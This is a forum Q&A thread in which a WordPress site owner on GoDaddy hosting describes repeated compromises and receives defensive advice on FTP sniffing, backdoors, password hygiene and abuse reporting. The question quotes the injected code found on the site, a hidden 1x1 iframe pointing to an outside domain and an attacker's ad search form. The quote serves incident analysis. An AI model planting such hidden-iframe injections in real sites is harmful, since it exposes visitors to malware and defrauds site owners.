Website hacked again

Question

Final Update:

Things have been peaceful for the past few weeks and taught me much more about website security and risks. Here's my version of story -

I was using an older version of wordpress and probably this person caught me from google. I think it was a script attack. Its difficult to say how and when the security was actually compromised, it came to my notice on Nov 5, 2009. While I took some safety measures at that time (described below) but there's always a possibility that I missed out rechanging wordpress passwords when I formatted my work computer.

Now I've deleted all unrequired php scripts from hosting, made administration part accessible only to my IP, blocked a particular IP range that belongs to vietnam. Daily backups and other stuff. The thing is that there are so many variables involved and its too difficult to keep track of each and everything. Main lesson is be prepared for it. :)

---

I'm on a shared hosting plan by GoDaddy and run a WordPress website. My website was hacked for the first time on Nov 5, 2009. At that time, the hacker replaced my ads with his own. I thought it happened because of my laziness with security, but I was so wrong.

I formatted my computer and setup everything again. Replaced ESET NOD32 with Microsoft Security Essentials. Upgraded to the latest version of WordPress. Changed all passwords. Setup a new database. And other security related stuff I read here and there. Things worked well for a while until my site was hacked again today.

Last time, the guy played with a lot of files and specifically changed footer.php and all ads related files. But this time he just went to the right place and replaced with following code -

<IFRAME height=1 src="http://blackberryrss.com/check.html" frameBorder=0 width=1></IFRAME>

<form action="http://www.google.com/cse" id="cse-search-box">
  <div>
    <input type="hidden" name="cx" value="partner-pub-2815780429722377:hhm6d0-6wfw" />

    <input type="hidden" name="ie" value="ISO-8859-1" />
    <input type="text" name="q" size="31" />
    <input type="submit" name="sa" value="Search" />
  </div>
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>

Looks like that person isn't interested in manipulating database etc. but just place code and make quick money. Godaddy forwarded my ftp logs and there was an unauthorized access from IP - 117.2.56.31. This IP belongs to Vietnam and also http://blackberryrss.com has some connection to Vietnam.

There is no SSH access to my account and I connect to FTP using FireFTP. This was GoDaddy's response last time -

Upon reviewing your account we have found your FTP account has been compromised either due to malware on your local computer or a weak FTP/Hosting password.

But I had changed all passwords, deleted accounts etc. but nothing seems to work. I'm clueless at the moment. Please tell me what to do? How can I prevent unauthorized access to my account??????

Additional Details:

• Strength of password is just Strong but not Best.
• I personally use Windows XP SP3, Windows Firewall etc. After first attack I've learned to work using a user account and avoid administrator account.
• When I see FTP logs for the first attack, its quite clear that person is manually doing all of this.

Answer 1

Keep in mind FTP sends your password in CLEAR TEXT. So the potential for compromise is definitely there.

Another thing to consider, is your FTP password UNIQUE to your hosting? Are you sure you're not using it ANYWHERE else? No other accounts, websites, etc?

How secure is your EMAIL password? I've been involved in cases where the "weak link" was actually the EMAIL password and the culprit was just sending "forgot passwords" to the email and deleting the evidence from the email box while everyone was too busy focusing on the compromised server to notice.

Just a few things that came to mind... some other things of course would be a social engineering approach with your ISP or some software vulnerability on your server or one of the packages your hosting.

There's more (obviously) but those are typically the "usual suspects".

---

UPDATE:

Based on this new information (that the hacker is not using FTP to change your files) I can only assume that the most likely cause is probably an unsecured web app.

That's not the ONLY thing it can be but in cases like this is the most likely.

Another thing to consider (and check for) is if he left himself some sort of "back door" to your app. I seem to recall you mentioning before that your ISP said he came in via FTP. Is it possible he came in via FTP the first time and left himself a back door?

Also, its a shot in the dark, but I have personally witnessed compromised boxes where a hacker only came in ONE time but left a cron job that kept changing files and other various evil. Is it possible that the hacker DIDN'T come back and you're dealing with an automated script? Just something to check if you feel you've exhausted all other possibilities.

Finally, do you have access to your web logs, system logs, etc? If so, what do they say? Do they reveal any clues?

Answer 2

You might want to read Detail Post-Mortem of a WordPress Hack. Another post that gives a lot of information about a WordPress blog hack with links. WordPress itself has an FAQ about what to do after your blog has been hacked.

WordPress is a heavily targeted application just because of it's popularity. Fighting hackers of thoses sites is a full time job. From your description, it sounds like someone has found an exploite of WordPress is using it to their full advantage. You sound like you're doing everything right so far, but I'm thinking that the attacker is dropping a file into your site and the attack from that direction. The first link I pointed you to goes into a very detailed description of this and what steps they took to counter it.

In the end, you might have to think about changing from WordPress to another blogging application. Good luck defending yourself, and hope this helps some.

Answer 3

Unless you run all FTP sessions through a secure tunnel (or better yet, use sftp) that password WILL get sniffed.

Our standard practice is to not have FTP on at all. If necessary then we only allow anonymous ftp and to heavily restrict that to a known area.

If upload is required we disallow listing ot the upload directory.

Answer 4

GoDaddy gives you SSH access and you could connect to your account using Putty.exe on port 22. Once you are connected you can use Putty to create 2 proxy/tunnels on port 20 and 21. Then you can use ftp through the secured tunnel to get to your files.

Or, better yet, you can just do that same thing much simpler using the PSFTP.exe command or you can connect to port 22 with FileZilla client.

Answer 5

Silly question, but - have you tried changing password and using another computer whatsoever? Maybe there is a keystroke logger on your PC.

I suspect a prank here, or at least a targeted attack. Is anyone you know willing to play such a joke..?

Step out of box before getting too paranoid. It helps.

ps: or perhaps a mis-used wordpress theme. Or wrong credentials on DB access.

Answer 6

To be honest I would ask the ISP to block that IP at the firewall level. If GoDaddy is unwilling to do that, then to me that seems like they are an irresponsible hoster who won't take steps to protect your data and you should switch.

blackberryrss.com is located in the US so you have some leverage you can take:
DNS Stuff

Report the publisher ID here, Google is EXTREMELY serious when it comes to fraudlent activity within their adsense network. Report Google Adsense abuse

In fact to be honest GoDaddy shouldn't even be letting it in because the reverse DNS of that IP is "localhost" which is a HUGE red flag. Only 1 IPv4 address should resolve to localhost (assuming of course we are just talking about the standard IP addresses) and that is 127.0.0.1. DNS Stuff

To dig even deeper into the rabbit hole it seems like bluehost is hosting their server, so give them a ring and see what they want to do (if anything).

And you always have the option to report to your local authorities (it is a crime to gain access to networks and computers which you have no right or privilege to access)

Answer 7

Your FTP password's getting sniffed, it happens with our sites hosted there a great deal.